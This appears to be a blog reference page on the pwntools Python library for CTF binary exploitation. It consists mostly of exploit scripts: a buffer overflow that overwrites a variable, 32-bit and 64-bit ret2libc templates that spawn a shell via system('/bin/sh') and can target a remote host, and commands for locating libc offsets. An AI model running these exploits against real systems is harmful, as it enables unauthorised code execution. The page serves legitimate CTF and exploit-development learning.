ToolsFebruary 9, 20261 min readby 0xt0pus

pwntools

Python CTF framework and exploit development library for binary exploitation


pwntools

Description

Python library for binary exploitation and CTF challenges. Provides utilities for interacting with processes and remote services, crafting payloads, packing/unpacking addresses, and automating exploit development. Import with from pwn import *.

Usage 1: Basic variable overflow exploit

Establish a target process, craft a payload with padding and a packed address, and send it.

Command:

from pwn import *

# Establish the target process
target = process('./boi')

# Make the payload
# 0x14 bytes of filler data to fill the gap between the start of our input
# and the target int
# 0x4 byte int we will overwrite target with
payload = b"0"*0x14 + p64(0xcaf3baee)

# Send the payload
target.send(payload)

# Drop to an interactive shell so we can interact with our shell
target.interactive()

Usage 2: 32-bit libc exploitation template

Full exploit template for 32-bit libc-based exploitation with local/GDB/remote switching.

Command:

from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Binary filename
exe = './secureserver'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

io = start()

# Lib-c offsets, found manually (ASLR_OFF)
libc_base = 0xf7c00000
system = libc_base + 0x4c880
binsh = libc_base + 0x1b5fc8

# How many bytes to the instruction pointer (EIP)?
padding = 76

payload = flat(
    asm('nop') * padding,  # Padding up to EIP
    system,  # Address of system function in libc
    0x0,  # Return pointer
    binsh  # Address of /bin/sh in libc
)

# Write payload to file
write('payload', payload)

# Exploit
io.sendlineafter(b':', payload)

# Get flag/shell
io.interactive()

Usage 3: 64-bit libc exploitation template

Full exploit template for 64-bit libc-based exploitation using a pop_rdi gadget.

Command:

from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Binary filename
exe = './secureserver'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

io = start()

# Lib-c offsets, found manually (ASLR_OFF)
libc_base = 0x00007ffff7dca000
system = libc_base + 0x4c920
binsh = libc_base + 0x19604f

# POP RDI gadget (found with ropper)
pop_rdi = 0x40120b

# How many bytes to the instruction pointer (RIP)?
padding = 72

payload = flat(
    asm('nop') * padding,  # Padding up to RIP
    pop_rdi,  # Pop the following address into the RDI register
    binsh,  # Address of /bin/sh in libc
    system,  # Address of system function in libc
)

# Write payload to file
write('payload', payload)

# Exploit
io.sendlineafter(b':', payload)

# Get flag/shell
io.interactive()

Usage 4: Helper commands for libc exploitation

Commands used alongside pwntools to find libc addresses.

Get libc library address:

ldd binary

Get system function address in libc (32-bit):

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system

Get system function address in libc (64-bit):

readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system

Get /bin/sh string address in libc (32-bit):

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Get /bin/sh string address in libc (64-bit):

strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh